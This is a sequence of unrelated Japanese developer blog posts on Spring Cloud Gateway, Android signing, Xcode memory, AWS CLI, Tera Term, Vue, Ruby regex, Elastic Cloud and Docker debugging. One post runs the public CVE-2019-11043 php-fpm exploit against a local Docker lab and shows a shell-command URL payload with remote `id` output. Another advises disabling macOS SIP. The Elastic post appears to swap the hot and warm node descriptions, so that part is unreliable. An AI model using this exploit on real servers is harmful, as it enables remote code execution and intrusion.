        mavenBom "org.springframework.cloud:spring-cloud-dependencies:${springCloudVersion}"
    }
}
```

* 作成したプロジェクトの ```application.yml``` に以下のような設定を追加していく
  * ```spring.cloud.gateway.routes``` 配下にルーティングする先のサーバー情報を記述していく
  * ```http://localhost:9001/frontend/**``` にアクセスすると、```http://localhost:9002``` のサーバーにリクエストが送られるようになる

```yaml:application.yml
server:
  port: 9001

spring:
  cloud:
    gateway:
      routes:
        - id: frontend
          uri: http://localhost:9002
          predicates:
            - Path=/frontend/**
          filters:
            - RewritePath=/view/(?<segment>.*), /$\{segment}
        - id: backend
          uri: http://localhost:9003
          predicates:
            - Path=/backend/**
          filters:
            - RewritePath=/webapi/(?<segment>.*), /$\{segment}
```

# まとめ
まだまだ他にも細かい設定ができそうなので、調べたり実装する機会があればその内容もまとめていこうかと思う。
Exploit とか PoC とか呼ばれるものを触ってみる

## 脆弱性検証するための実証コード 
今回、対象とした脆弱性は CVE-2019-11043 とかで識別されるもので、昨今よく使われているだろう nginx + php-fpm の組み合わせで発生するもので、「脆弱性の概念実証（PoC）が公開」されている旨、紹介されていた(*1)ものになります。

とりあえず、その記事を見ると、GitHub のリポジトリ(*2)へのリンクがあり、アクセスしてみると、画面の下の方(README.md)に使い方が丁寧に説明されています。。英語ですが。

## run

**触ってみる**ために、内容の確認もそこそこに**How to run**の箇所へ。
自分の環境は普段からちょこちょこ使ってる WSL(ubuntu18.04) なのですが、go とか触ってなかったので

```
$ sudo apt install golang-go
```
でコマンド入れてから

```
$ go get github.com/neex/phuip-fpizdam
```

を実行しました。

```
$ git clone https://github.com/neex/phuip-fpizdam.git
$ cd phuip-fpizdam/reproducer
$ docker build -t reproduce-cve-2019-11043 .
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
```

Docker Desktop を起動しわすれてたので、Settings -> General の Expose... を確認して、環境設定し、もう一度

```
$ export DOCKER_HOST=tcp://localhost:2375
$ time docker build -t reproduce-cve-2019-11043 .
```

It takes a long time as... とあったので、こっそり time 付けて実行

```
Successfully built 16b836a144f5
Successfully tagged reproduce-cve-2019-11043:latest

real    18m19.682s
user    0m0.578s
sys     0m0.766s
```

さくっと、、、という感じでなく、確かに時間が掛かって終了。。

```
docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043
```

とりあえず、走らせて、ブラウザでマニュアルどおり `http://127.0.0.1:8080/script.php?a=id` にアクセスし、リロードを何度か繰り返す
→ 空のページが表示

で、別途 WSL を起動し、実証コードを実行

```
$ go/bin/phuip-fpizdam http://localhost:8080/script.php
2019/12/19 07:13:53 Base status code is 200
2019/12/19 07:13:53 Status code 502 for qsl=1765, adding as a candidate
2019/12/19 07:13:54 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/12/19 07:13:54 Status code 502 for &main.AttackParams{QueryStringLength:1760, PisosLength:3}
2019/12/19 07:13:55 Attack params found: --qsl 1760 --pisos 55 --skip-detect
2019/12/19 07:13:55 Trying to set "session.auto_start=0"...
2019/12/19 07:13:55 Detect() returned attack params: --qsl 1760 --pisos 55 --skip-detect <-- REMEMBER THIS
2019/12/19 07:13:55 Performing attack using php.ini settings...
2019/12/19 07:13:55 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/12/19 07:13:55 Trying to cleanup /tmp/a...
2019/12/19 07:13:55 Done!
```

そして、同様に先程のページ  `http://127.0.0.1:8080/script.php?a=id` のリロードを繰り返すと空のページも表示されるが `uid=33(www-data) gid=33(www-data) groups=33(www-data)` の `id` コマンドを実行した結果が表示されるように。

待ち時間はあるけども、15分ほど読みつつ手を動かせば、コマンドが実行出来てしまうのを実感。。



(*１) https://jp.tenable.com/blog/cve-2019-11043-vulnerability-in-php-fpm-could-lead-to-remote-code-execution-on-nginx
(*2) https://github.com/neex/phuip-fpizdam
androidアプリのdebugビルド署名をリリース署名に変更すると、色々便利だ

##はじめに
androidアプリのdebugビルド署名、普通はリリースビルド署名と違いますね。

まあリリースビルド署名のキーストアは重要なので、利用制限したほうがいいんですが、debugビルド署名をリリースビルド署名に変更すると、開発が色々楽になります。

リリース版にdebug版を上書きインストールしたりできますからね。

##やりかた

```
signingConfigs {
        //DEBUG版をリリースビルド署名したいときに、これを有効にする
        debug {
            storeFile=file(project.properties.storeFile)
            storePassword=project.properties.storePassword
            keyAlias=project.properties.keyAlias
            keyPassword=project.properties.keyPassword
        }
    }
```

こんなんを追加するのみ。
##効果
- リリースアプリにandroidStuidoから上書きインストールできる。これがあると本番データ使って色々できる。バージョンアップ時のデータ移行のdebugとかね。
- google認証とか、サーバー側にdebugのキーストアを登録せず、debug版で認証できるようになる。
- デバイスにリリース版がインストールされているとき、debugインストールに失敗しない。いちいちアンインストールを求められない。これ、マジでうざい。初期インストールになっちゃうと、色々消えてしまうし。
- なぜかシリアライズしてるデータが読めなかった。難読化除外してるのに・・・？　依存しているクラスの難読化状態が違うんだろうなあ。

#まとめ

いや、まじで便利。もっと早くやればよかったと後悔している今日この頃:joy:
いや、変えられるのは前から知ってたんですが、必要に駆られてやってみたら、もう・・・・。

セキュリティ的に問題がないのであれば、オススメです。
まあパッケージ名同じ場合のみですがね。
メモリ不足でXcodeのValidateができない

#Validateできない問題
XcodeでApp StoreにiPhoneアプリをアップロードした時のことです。

Archiveまではスムーズだったのに、「Validate App」を実行したらめちゃくちゃ待たされた上にPCがクラッシュしました。
Validateを無視してDistributeしてもクラッシュ。
ipaファイルをコマンドで作成してもクラッシュ。
何度繰り返してもクラッシュ。

エラーじゃないので調べても出てこず、めちゃくちゃ困ったので誰かの役にたつことを願って展開します。

#環境
iMac (21.5-inch, Late 2012)
OS Mojave 10.14.5
Xcode 11.3
メモリ 8GB
**外付けSSDで起動 (APFSでフォーマット)**

#原因はメモリ不足
アクティビティモニタを起動しながら再度実行。
メモリタブを確認すると、見事にメモリプレッシャーが真っ赤。

どうやら私のiMacのメモリ8GBでは不足している模様。
(物理メモリ8GBに対し使用メモリが7.8GB付近をうろうろした挙句勝手に再起動する)


#どうするか
メモリを増設すれば解決。
ただし、私のiMac2012はがっつり分解しないと増設できないため最終手段とします。

そもそも8GBでも普通にみなさんリリースできているため、何か別に原因があると推測。

アクティビティモニタを眺めていると妙なことに気づく。
どれだけ高負荷になってもスワップ使用領域が0Bから変わらない。
そして8GBに達した瞬間にフリーズからのクラッシュ。
**メモリスワップしてなくない？**

#解決策
どうやら、
APFSでフォーマットしたSSDを起動に使用しているとスワップ領域がマウントされない不具合があるらしい。
とりあえずValidateの間メモリが足りてくれればよいので、手動でマウントします。

ターミナルを起動し以下コマンドを実行。

```
diskutil list
```

一覧で出たVolumeのうち、**Volume VM**となっているdiskを探す。
(私の場合は、disk1s4でした)


```
diskutil info diskXXX(diskの名前)
```

diskutil infoで対象のdiskの状態を確認します。
Volume Name:               VM
Mounted:                   No
こんな感じでMountedがNoになっていたらマウントされていないためスワップできないので、以下コマンドでマウントします。
(su権限のパスワード入力を求められます)


```
sudo diskutil mount -mountPoint /private/var/vm diskXXX
```

Volume VM on disk1s4 mounted
こんな感じになればOK
再度diskutil infoするとmountedがYesになっていることがわかります。


#結果
マウント完了後、再度Validateを実行するとスワップ使用領域が適切に使用され無事アップロードすることができました。

１つ注意点として、PCを再起動するとまたアンマウントされてしまいます。
重い処理を実施する前にはマウントされてるか確認したほうが良いかと思います。

~~再起動してもマウントを続ける手段は不明です。~~
~~フォーマット方式を変えるべきか…。~~

#追記
Automator使って再起動するたびにマウントするようにしました。
起動時にパスワード入力を求められるのがちょっとうざいですが快適です。
(詳細な手順は参考リンクをご覧ください)

```
osascript -e 'do shell script "sudo diskutil mount -mountPoint /private/var/vm disk1s4" with administrator privileges'
```

#追記2
MacOSをバージョンアップしたら以下エラーが発生するようになりました。

```
0:103: execution error: Volume on disk1s4 failed to mount
Perhaps the operation is not allowed by the invoking user (kDAReturnNotPrivileged)
This appears to be an APFS Volume; note that locked APFS volumes
will not mount unless unlocked (e.g. "diskutil apfs unlockVolume") (1)
```

UnlockVolumeしてもそもそもロックされてないとのことで解決せず。
どうやらMacのセキュリティ機能であるSIP(System Integrity Protection)のせいっぽい。
リカバリモード(command + R で再起動)のターミナルから以下コマンドを実行し解除したところ問題なく動作するようになりました。
(詳細な手順は参考リンクをご覧ください)
```$ csrutil disable
```

#参考
[スワップ領域が確保されない - Apple コミュニティ](https://discussionsjapan.apple.com/thread/110201665)
[Macの起動ディスクをAPFSフォーマットのUSB外付けSSDにするとハマる罠](https://qiita.com/imfiare/items/e3f541e0cb0f92747d22)

[Mac OSXで起動時にスクリプトを実行する方法](https://qiita.com/kagerou_ts/items/2606703e70c5eb18fb37)
[Automatorでsudoする方法](https://sawayakatrip.com/mac-automator-sudo)

[SIPの無効化](https://qiita.com/iwaseasahi/items/9d2e29b02df5cce7285d)
AWSの起動 templateをCLIで更新

サーバの実行環境はDockerコンテナで管理するが当たり前になった昨今ですが、数年前にサービスインして保守フェーズの案件ではEC2インスタンスで直接サービスを動かす構成は、まだまだ、現役です。

今回は、オートスケーリンググループで起動させるEC2インスタンスを起動テンプレートで管理しており、起動テンプレートのバージョンを上げて、対象のAMIを新しいものに変更する作業を AWS CLIで行います。

## 使用する環境変数名

今回は AMI と EBSのスナップショットIDを新しくします。

| 環境変数名 | 値の意味 |
| --------- | -------- |
| TEMPLATE_NAME | 更新したいテンプレート名 |
| TEMPLATE_ID | TEMPLATE_NAME の launch-template-id |
| PREV_TEMPLATE_VER | 作業時点でのデフォルトバージョン |
| TEMPLATE_DESC | 起動テンプレートの新しいバージョンの説明 |
| AMI_ID | 起動テンプレートの新しいバージョンが利用する AMI の ID |
| EBS_SNAPSHOT_ID | 起動テンプレートの新しいバージョンが利用する EBSのスナップショットID |

## 作業コマンド

```bash

# 起動テンプレートのIDを取得
$ export TEMPLATE_NAME="my_template"
$ export TEMPLATE_ID=$( aws ec2 describe-launch-templates--launch-template-names ${TEMPLATE_NAME} | \
    jq -r '.LaunchTemplates[].LaunchTemplateId' \
)
$ echo $TEMPLATE_ID
lt-1234567890abcdef
# 起動テンプレートのデフォルトバージョンを取得
$ export PREV_TEMPLATE_VER=$( aws ec2 describe-launch-templates --launch-template-names ${TEMPLATE_NAME} | \
    jq -r '.LaunchTemplates[].DefaultVersionNumber' \
)
$ echo $PREV_TEMPLATE_VER
7
# 今の起動テンプレートをファイルに保存しておく
$ aws ec2 describe-launch-template-versions \
    --launch-template-id ${TEMPLATE_ID} \
    --versions ${PREV_TEMPLATE_VER} \
    > launch-template-befor.json
# AMIを指定して起動テンプレートの新しいバージョンを作成する
export NEW_TEMPLATE_JSON=$(aws ec2 create-launch-template-version \
    --launch-template-id ${TEMPLATE_ID} \
    --version-description "${TEMPLATE_DESC}" \
    --source-version ${PREV_TEMPLATE_VER} \
    --launch-template-data '{"BlockDeviceMappings":[{"DeviceName": "/dev/xvda","Ebs":{"DeleteOnTermination": true,"SnapshotId":"'${EBS_SNAPSHOT_ID}'","VolumeSize": 30,"VolumeType": "gp2"}}],"ImageId":"'${AMI_ID}'"}')
# 新しいバージョン番号を取得
export NEW_TEMPLATE_VER=$(echo ${NEW_TEMPLATE_JSON} | jq -r '.LaunchTemplateVersion.VersionNumber')
# 新しいバージョンをファイルに保存しておく
$ aws ec2 describe-launch-template-versions --launch-template-id ${TEMPLATE_ID} --versions ${NEW_TEMPLATE_VER} > launch-template-after.json
```

`aws ec2 create-launch-template-version` の引数 `--launch-template-data` の値は [公式ドキュメント](https://docs.aws.amazon.com/cli/latest/reference/ec2/create-launch-template-version.html#synopsis) を参照してください。

## 差分確認

作業前後で `aws ec2 describe-launch-template-versions` の結果を比較して、想定した変更差分であることを確認します。

```diff
$ diff launch-template-befor.json launch-template-after.json 
6,8c6,8
<             "VersionNumber": 7,
<             "VersionDescription": "change instance to t2.medium",
<             "CreateTime": "2018-12-14T04:19:43.000Z",
---
>             "VersionNumber": 10,
>             "VersionDescription": "update app. ver 1.2.3",
>             "CreateTime": "2019-12-19T06:23:15.000Z",
10c10
<             "DefaultVersion": true,
---
>             "DefaultVersion": false,
21c21
<                             "SnapshotId": "snap-01234567890123456",
---
>                             "SnapshotId": "snap-abcdefabcdefabcde",
40c40
<                 "ImageId": "ami-01234567890123456",
---
>                 "ImageId": "ami-abcdefabcdefabcde",
```
【ぶっちゃけAndroidアプリ開発】Android Studioを初期インストールした時にやる事

これは2019年12月に書いた記事です。
ものすごく久しぶりにAndroidアプリ開発をする事になったのですが、のっぴきならない理由により、Macbook ProにAndroid Studioを初期インストールして使用再開する事になりました。
という事で、最新Android Studioをインストールして、過去に作成したプロジェクトを使えるようにするまでの過程を備忘録としてまとめておきたいと思います。
簡単に言うと、Android Studioは日々進化しているので、SDKや設定について過去からの差分を埋めてあげれば良いです。
##1.Android Studioインストール
###(1)ダウンロード
・App Storeからはダウンロードできない。
・Android Developersのサイトからダウンロード。
https://developer.android.com/studio?hl=ja
<img width="1124" alt="as01.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142654/ac281fef-e03d-b62e-0321-db18b0c8124d.png">
###(2)Android SDK
・とりあえず最新のSDKがインストールされる（はず）。今回はAndroid10.0(Q)、API Level29。
###(3)過去プロジェクト開く
・「Welcome to Android Studio」画面で「Open an existing Android Studio Project」を選択して、過去プロジェクトを開く。
・すぐにビルドが走るが、古いプロジェクトだと多分エラーが出る。
###(4)過去プロジェクトのエラーを解消させる
####「Failed to find target with hash string 'android-26' in: /Users/ユーザー名/Library/Android/sdk」
・API Level26のSDKが必要。targetSdkVersionがLevel26のため。
・対処として、SDK Managerから、SDKをインストールする。
・SDK pratformsタブから、Android8.0(Oreo)、API Level26にチェック。
<img width="1139" alt="スクリーンショット 2019-12-19 15.27.42.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142654/4318d1a4-ce69-77d1-d45a-8fda40a0c039.png">

・SDK Toolsタブから、「Show Package Details」にチェックして詳細を表情し、Android SDK Build-Toolsの26.0.0にチェック。
<img width="1139" alt="スクリーンショット 2019-12-19 15.28.39.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142654/f43c54d5-5b3d-fc83-d75b-101df82fd3b3.png">

・Applyボタンを押下して、ライセンスに同意してインストール。
<img width="912" alt="スクリーンショット 2019-12-19 15.29.01.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/142654/896f2276-ac3d-9992-cb4f-2bd72767d3da.png">
####「ERROR: Failed to resolve: com.android.support.test.espresso:espresso-core:2.2.2」「Add Google Maven repository and sync project」「Show in Project Structure dialog」
・Googleから提供されているAndroidプラグインがネットからダウンロードできないというエラー。以前はjcenterから提供されていたが、最近はmavenから提供されているので、gradleにURLを定義する。

```build.gradle(Project)
// Top-level build file where you can add configuration options common to all sub-projects/modules.

buildscript {
    repositories {
        jcenter()
    }
    dependencies {
        classpath 'com.android.tools.build:gradle:2.3.3'

        // NOTE: Do not place your application dependencies here; they belong
        // in the individual module build.gradle files
    }
}

allprojects {
    repositories {
        jcenter()
        maven { url 'https://maven.google.com' } // 追加
    }
}

task clean(type: Delete) {
    delete rootProject.buildDir
}
```
わたしの場合、とりあえずこれで動作するようになりました。
過去プロジェクトがどのくらい古いかによって、ハードルは異なってくると思います。
記号を含むパスワードでteratermで自動ログイン


# マニュアルの記載 

teratermマクロでログインするには、以下のような記載がマニュアルから見つけられる。
https://ttssh2.osdn.jp/manual/ja/macro/command/connect.html

```
connect '192.168.0.1:22 /ssh /auth=password /user=user /passwd=password'
```

この方法だとパスワードに「;」、「'」が含まれているケースに対応できない。

# 「;」の解決策

パスワード部分を「"pass;word"」のようにダブルクォートで括ってやればよい。

https://ja.osdn.net/projects/ttssh2/ticket/35819

今度は「"」がパスワードに含まれているケースに対応できない。
# 「"」の解決策

「"」は「""」に置き換えてやればよい。

https://ja.osdn.net/projects/ttssh2/forums/5841/39162/

これらのエスケープを行ってもパスワードに「'」が含まれる場合は構文エラーに陥る

# 「'」の解決策

「'」をASCIIコード指定に置き換えてしまえば構文エラーは発生しない。

https://ttssh2.osdn.jp/manual/ja/macro/syntax/formats.html

# まとめ

以上を適用すれば、パスワードを意地悪な「"';pass」とした場合でも以下のようにすれば問題なく入力できる。

```
connect '192.168.0.1:22 /ssh /auth=password /user=user /passwd="'#34#34#39#59#112#97#115#115'"'
```
あっさり読むrails①（image_tag)

#はじめに
railsにおける`image_tag`の使い方を、極めてあっさり書いてみようと思います。
コードはHamlで書きます。
#実行
`image_tag`は画像を表示するためのrailsヘルパーメソッドです。
例えば次の様に書きます。

```haml
= image_tag src = "画像のアドレス"
```

大きさや位置を指定したいなど、classをつける必要がある場合は次の様にします。

```haml
= image_tag src = "画像のアドレス", class: "クラス名"
```
tmuxのプレフィックス押しているか表示

# プレフィックス
正直,引用元を参照されたほうが吉.

ただ,*status-left*　-> *status-right* として右下で確認できるようにしただけ.

```.tmux.config
set-option -g status-right '#[fg=cyan,bg=#303030]#{?client_prefix,#[reverse],} #H[#S] #[default]'
```
<img width="546" alt="スクリーンショット 2019-12-19 16.48.44.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/152284/f8ddc8c7-f624-2f5d-d5f2-1921af72c25b.png">


# 参考
https://qiita.com/dtan4/items/363e92525e7c5a16f3fc
FuelPHPの詰まったところやらルールの備忘録

FuelPHPを使った際に詰まった点があったのでメモ。~~適宜更新されるかもしれない。~~おそらく今後更新されることはない。

# ファイル名は全部小文字
`HelloWorld.php`をコントローラに突っ込んでたけどなんでかわからんけど全く動かない。
調べたらコーディング標準でファイル名はすべて小文字にするように定められているらしい。

# PHPのコードしかないときは?>を省略する
見つけにくい「死の白い画面」を避けるためにこのようなルールになっているとのこと。

# 文字コードはUTF-8
まあそりゃそうだって感じですけどShift-JISで書いた日本語の文字列をビューに持っていったら無かったことにされた。

# ClassやFunctionの単語区切りはアンダースコア(_)
キャメルケースでの単語区切りはダメ(例：ControllerHelloはダメ、Controller_Helloと書く)。
これはアンダースコアをオートロードの際のディレクトリの区切り記号に変えているかららしい。

# 参考
[FuelPHP 1.8 コーディング標準](http://fuelphp.jp/docs/1.8/general/coding_standards.html)
Vueで作る汎用的なシンプルアコーディオン

## 背景

[Reactで作る汎用的なシンプルアコーディオン](https://qiita.com/berry99/items/6129bb52b8f1f382381d) をVueで実装する。

## 実装

```SimpleAccordion.vue
<script lang="ts">
import { Component, Vue, Prop, Watch } from 'vue-property-decorator'
import { VNode } from 'vue'

@Component
export default class SimpleAccordion extends Vue {
  @Prop({ default: false }) value!: boolean
  state: boolean = false

  get display() {
    return this.state ? 'block' : 'none'
  }

  @Watch('value')
  update() {
    this.state = this.value
  }

  created() {
    this.state = this.value
  }

  toggle() {
    const changed = !this.state
    changed ? this.$emit('open') : this.$emit('close')
    this.state = changed
    this.$emit('input', changed)
  }

  render(h: any) {
    return h(
      'div',
      {},
      (this.$slots.default as VNode[]).map(node => {
        if (!node.componentOptions) return null
        if (node.componentOptions.tag === 'SimpleAccordionSummary')
          return h(
            'div',
            { on: { click: this.toggle } },
            node.componentOptions.children
          )
        if (node.componentOptions.tag === 'SimpleAccordionDetails')
          return h(
            'div',
            { style: { display: this.display } },
            node.componentOptions.children
          )
      })
    )
  }
}
</script>
```
```SimpleAccordionSummary.vue
<script lang="ts">
import { Component, Vue } from 'vue-property-decorator'

@Component
export default class SimpleAccordionSummary extends Vue {}
</script>
```
```SimpleAccordionDetails.vue
<script lang="ts">
import { Component, Vue } from 'vue-property-decorator'

@Component
export default class SimpleAccordionDetails extends Vue {}
</script>
```

## 実用例

```Sample.vue
<template>
  <SimpleAccordion v-model="show">
    <SimpleAccordionSummary>
      <p>概要</p>
      {/* ここをクリックすると開いたり閉じたりする */}
    </SimpleAccordionSummary>
    <SimpleAccordionDetails>
      <p>詳細</p>
    </SimpleAccordionDetails>
  </SimpleAccordion>
</template>

<script lang="ts">
import { Component, Vue } from 'vue-property-decorator'

@Component
export default class Sample extends Vue {
  show = false
}
</script>
```
ruby match,gsub正規表現

#正規表現入門

##match

matchは変数の中に特定の文字があるかどうかを判断してくれる。

```
name = 'tarou'
name.match(/t/)
=> #<MatchData "t">
```
このように//で囲った文字の有無を確認できる。

//の中の指定方法も様々で

```
name.match(/[a-z]/)
```

アルファベットのa~zにある文字が入っているのかどうかを確認できる。
ただし小文字のa~zのみの検出になるので

```
name.macth(/[a-z]/i)
```

とすると大文字、小文字の区別をなくせる。

[0-9]とすれば0~9の数字を検出できます。

webサービスよく使われているものとしては

```
e_mail_address = 'tarou@gmail.com'
e_mail_address.match(/@.+/)
=> #<MatchData "@gmail.com">
#'.'はどの文字列でも１文字マッチ、'+'は+の前にある文字列に1文字以上続きがあるかを指定。
```
これで入力されたメールアドレスにドメインがついているのかをチェックしたり。

```
pass = 'TaR0uyamaDa'
pass.match(/[a-z\d]{8,16}/i)
=>#<MatchData "TaR0uyamaDa">
# [a-z\d]はa~zのうちの一文字、{8,16}で8文字以上16文字以下の部分を検出する
```

↑注意事項:{n/i}のi文字以上の文字を入力しても、i文字以下の文字を検出するだけで、i文字以上の入力を制限するものではない。/\A[a-z\d]{8,16}\z/iすると８文字以上16文字以下と制限することができる。
\Aは文字列の先頭に\zは文字列の末尾を意味している。

##sub,gsub
subは指定した文字を１文字だけ置き換えることができる

```
str = 'abcaaa'
str.sub(/a/, 'x')
=>"xbcaaa"
#aが１文字だけxに置き換わっている。

lang = '日本語'
lang.sub(/日本/,'スワヒリ')
=>"スワヒリ語"
こんな使い方もできたり。
```

指定した文字を全て置き換えたい場合はgsubを用いる。

```
phone_num = '123-4567-8910'
phone_num.gsub(/-/,"")
=> "12345678910"
#"の中を空にすれば//の中の文字を消すこともできる。
```


電話番号の登録をしてもらう際に'-'があるパターンとそうでないパターン両方でDBに保存すると管理がしずらくなったりするのでそれを解消したりできる。
Elastic Cloud デプロイメントテンプレート


## １．はじめに

Elastic Cloudを利用するにあたって、デプロイメントパターンという聞きなれない単語が出てきたので、本投稿で纏めます。



## ２．デプロイメントテンプレートとは

　Elastic Stack社が提案するデプロイメントテンプレートとは、Elastic Stackの各コンポーネントを、目的のユースケースに応じて作成される標準のテンプレートであり、インフラ、パラメータチューニングを含めて実施される。
　Elastic Stackのうち、下記のコンポーネントがテンプレートの検討対象となる。ユーザーは、デプロイメントテンプレートを選択することでElastic Cloud上にElastic Stackの各コンポーネントを構築することができる。



## ３．I/O Optimized Template

　このテンプレートは、汎用的なユースケースで利用することができます。データノードに使用するインスタンスタイプは、ストレージ最適化インスタンスを使用し、高いI/Oスループットを実現することができます。また、ハードウェアリソース（CPU、メモリ、ストレージ）の観点でバランスが良いです。
　インスタンスタイプは、i3.8xlargeを使用します。

## ４．Compute Optimized

　このテンプレートは、CPU負荷が高いワークロードに対して有効です。
　インスタンスタイプは、m5.12xlargeを使用します。

## ５．Memory Optimized

　このテンプレートは、メモリ使用率が高いワークロードに対して有効です。頻繁にaggregationのオペレーションが発生するような、ワークロードがある場合は、このテンプレートが適している可能性があります。
　インスタンスタイプは、r4.8xlargeを使用します。

## ６．Hot-Warm Architecture

　このテンプレートは、一般的には時系列データの分析やログ収集に対して有効です。自動的にindex curation（インデックス情報のスナップショットを取得）操作を実行することができます。このテンプレートでは、Hot data nodeとWarm data nodeと呼ぶ2つの機能を持つノードを配置することで、Hot-Warm Architectureを実現しています。
　最近のログ（例：直近2週間分）のログは重要ですが、それより古いログ（コンプライアンスやその他の目的で保存されているもの）に対するクエリが遅くても問題ないケースが大半です。Hot-Warm Architectureが特にロギングユースケースで役立つ理由はここにあります。 

- Warm data node：
       - 高速ストレージを用いて新規の入力データを扱い、データをすばやく投入・取得します。
       - インスタンスタイプは、i3.8xlargeを使用します。

- Hot data node：
       - ストレージを高密度で使用し、ロギングデータを長期に保存する場合もコスト効率に優れます。
       - インスタンスタイプは、d2.4xlargeを使用します。


## ７．Cross Cluster Search

　このテンプレートは、耐障害性が求めらるワークロードに対して有効です。複数のElasticsearch Clusterを跨いでデータを保持します。
　インスタンスタイプは、r4.8xlargeを使用します。


##　８．参考文献


https://www.elastic.co/guide/en/cloud/current/ec-getting-started-profiles.html

以上
その時、世界は止まった。JavaScriptの世界では日本時間の西暦275,760年9月13日(土) 9:00:00に終わる...

JavaScriptのDate()ではいつまでサポートしてるんでしょうか？

正の値では1970/1/1 9:00:00から始まります。

```javascript
>> new Date(0)
Date Thu Jan 01 1970 09:00:00 GMT+0900 (日本標準時)
```

では、いつまでサポートしてるのでしょうか？

[https://tc39.es/ecma262/#sec-expanded-years](https://tc39.es/ecma262/#sec-expanded-years) をみると

> Covering the full time value range of approximately 273,790 years forward or backward from 01 January, 1970

とのこと。1970に273,790足して、275,760で確認します。

```javascript
>> new Date(275760,0,1,9,0,1)
Date Tue Jan 01 275760 09:00:01 GMT+0900 (日本標準時)
```
あれ？275,760年の1/1はサポートされてますね。

実際にいつまで指定したらエラーになるか試してみました。

```javascript
>> new Date(275760, 8, 13,9,0,0)
Date Sat Sep 13 275760 09:00:00 GMT+0900 (日本標準時)
```

はOK。1秒後はどうでしょうか？

```javascript
>> new Date(275760, 8, 13,9,0,1)
Invalid Date
```

エラーになりました。

JavaScriptの世界では、日本時間の**西暦275,760年9月13日(土) 9:00:00**以降はサポートされていませんでした。

ちなみに秒数では1970/1/1から8,640,000,000,000,000ミリ秒間となります。日数にすると100,000,000日＝1億日分でした。

```javascript
>> new Date(8640000000000000)
Date Sat Sep 13 275760 09:00:00 GMT+0900 (日本標準時)
```

なのでJavaScriptの世界では弥勒菩薩の降臨までは持たないようですね...
docker-composeで立ち上げたdjangoをpycharmでデバックできるようにする

前回の記事　[docker-composeでdjango環境を作ってみる(MariaDB + Nginx + uWSGI)](https://qiita.com/laplap/items/f3f750cfcbcd6aeff094)　で　docker環境でdjangoを開発できるようになったので、今回はjetbrain社のpycharmでデバックできるようにします。

使っているpycharmはPyCharm 2019.3 (Professional Edition)です。


pycharmはpythonを始めるのと同時に使い始めたのですが、始める前までに設定することが多くて混乱しました。（インタプリタ、デバックとか）



## PyCharm設定
とりあえずpycharmの公式ドキュメント通りにデバック設定をしてみます。
[リモートインタープリターとしてのDocker Composeの設定﻿](https://pleiades.io/help/pycharm/using-docker-compose-as-a-remote-interpreter.html#)

インタプリタにdocker内のpythonを登録して、pycharmのデバック設定でホストを0.0.0.0
(nginxのポート8000, uwsgiのポート8001)

そしてpycharmの虫アイコンデバックボタンをぽっちとした結果。。。

<img width="445" alt="スクリーンショット 2019-12-18 17.11.59.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/291935/f02a465e-5857-31bb-9b67-efebf4869a46.png">

**嗚呼。。。**

ということでデバックできるようにします。


## 原因を探る

error.logをみてみると

```
[error] 8#8: *15 connect() failed (111: Connection refused) while connecting to upstream,
```

nginxのconfかuwsgi.iniをなおせばデバックできそう。

## 失敗


自分のnginx.confと似ているstackoverflowの記事を発見
https://stackoverflow.com/questions/32653394/uwsgi-nginx-error-connect-failed-111-connection-refused-while-connecting

confとuwsgi.iniのソケットの書き方も良さそう。
docker-compose.ymlの方もexpose:8001してある。

相変わらず　**502 Bad Gateway**

**嗚呼。。。**

## docker-compose.ymlを修正で直ったかもしれない

docker-compose.ymlのpython部分にportを書き足して

```yaml
...省略

python:
    build: ./python
    image: app_python
    container_name: app_python
    expose:
      - "8001"
    ports:
      - "8001:8001"  # 追加
    command: uwsgi --ini /code/project/uwsgi.ini
    volumes:
      - ./src:/code
      - ./static:/static
    depends_on:
      - db
```

pycharmのdjango server設定でポートをnginxの8000じゃなくて、uwsgiの8001にしたら
動きました。
<img width="742" alt="スクリーンショット 2019-12-19 14.16.12.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/291935/53c1b123-eca6-e0b9-b5fa-81b25939ae2b.png">


もっといい方法がありそうですがとりあえず、ブレイクポイント置いて、デバックできるようになりましたし、nginxの方で読み込んでいるdjango adminのcssも効いているので現状はこれで。

<img width="457" alt="スクリーンショット 2019-12-19 14.27.11.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/291935/2f590407-a7b1-ccf1-df85-2c87945d5fb3.png">

<img width="1017" alt="スクリーンショット 2019-12-19 14.23.39.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/291935/7b4017a8-5812-54fe-ed86-3c8480c72583.png">
SpringBoot + JODConverter で OnlineConverter を使ってみた

# 概要
jodConverter を OnlineConverter で利用した際のメモ。
SpringBoot を利用していたため、JODConverter Spring Boot Starter を利用しての実装となっている。

# 環境
* SpringBoot：2.1.3.RELEASE
* JODConverter：4.1.0
* JODConverter Spring Boot Starter

# OnlineConverter呼び出し側の実装
* 基本的にはLocalConverterを利用する時と変わらないが、application.yml に OnlineConverterサーバーのURLを指定する
  * リクエスト時のURLは```【ymlに設定したURL】/lool/convert-to/【変換先の拡張子】```という形で送信される

```yaml:application.yml
jodconverter:
  online:
    enabled: true
    url: 【OnlineConverterサーバーのURL】
```


# OnlineConverterサーバーの実装
* build.gradle の dependencies に以下の設定を追記する
  * ```compile 'org.jodconverter:jodconverter-spring-boot-starter:4.1.0'```

* application.yml に LibreOffice のインストール先を設定する

```yaml:application.yml
jodconverter:
  enabled: true
  officeHome: 【LibreOffice インストール先】
```

* リクエストを受け取るための Controller を実装する
  * MultipartFile で変換元のファイルの受け取りを行う
  * outputExtension で変換後の拡張子を指定する

```java
@RestController
public class SampleController {
  @Autowired
  private DocumentConverter documentConverter;

  @RequestMapping(path = "/api/jodconverter/lool/convert-to/{outputExtension}", method = RequestMethod.POST)
  public Resource convert(
      @RequestParam("data") MultipartFile file,
      @PathVariable("outputExtension") String outputExtension
  ) throws IOException, OfficeException {
    // 変換前ファイル情報取得
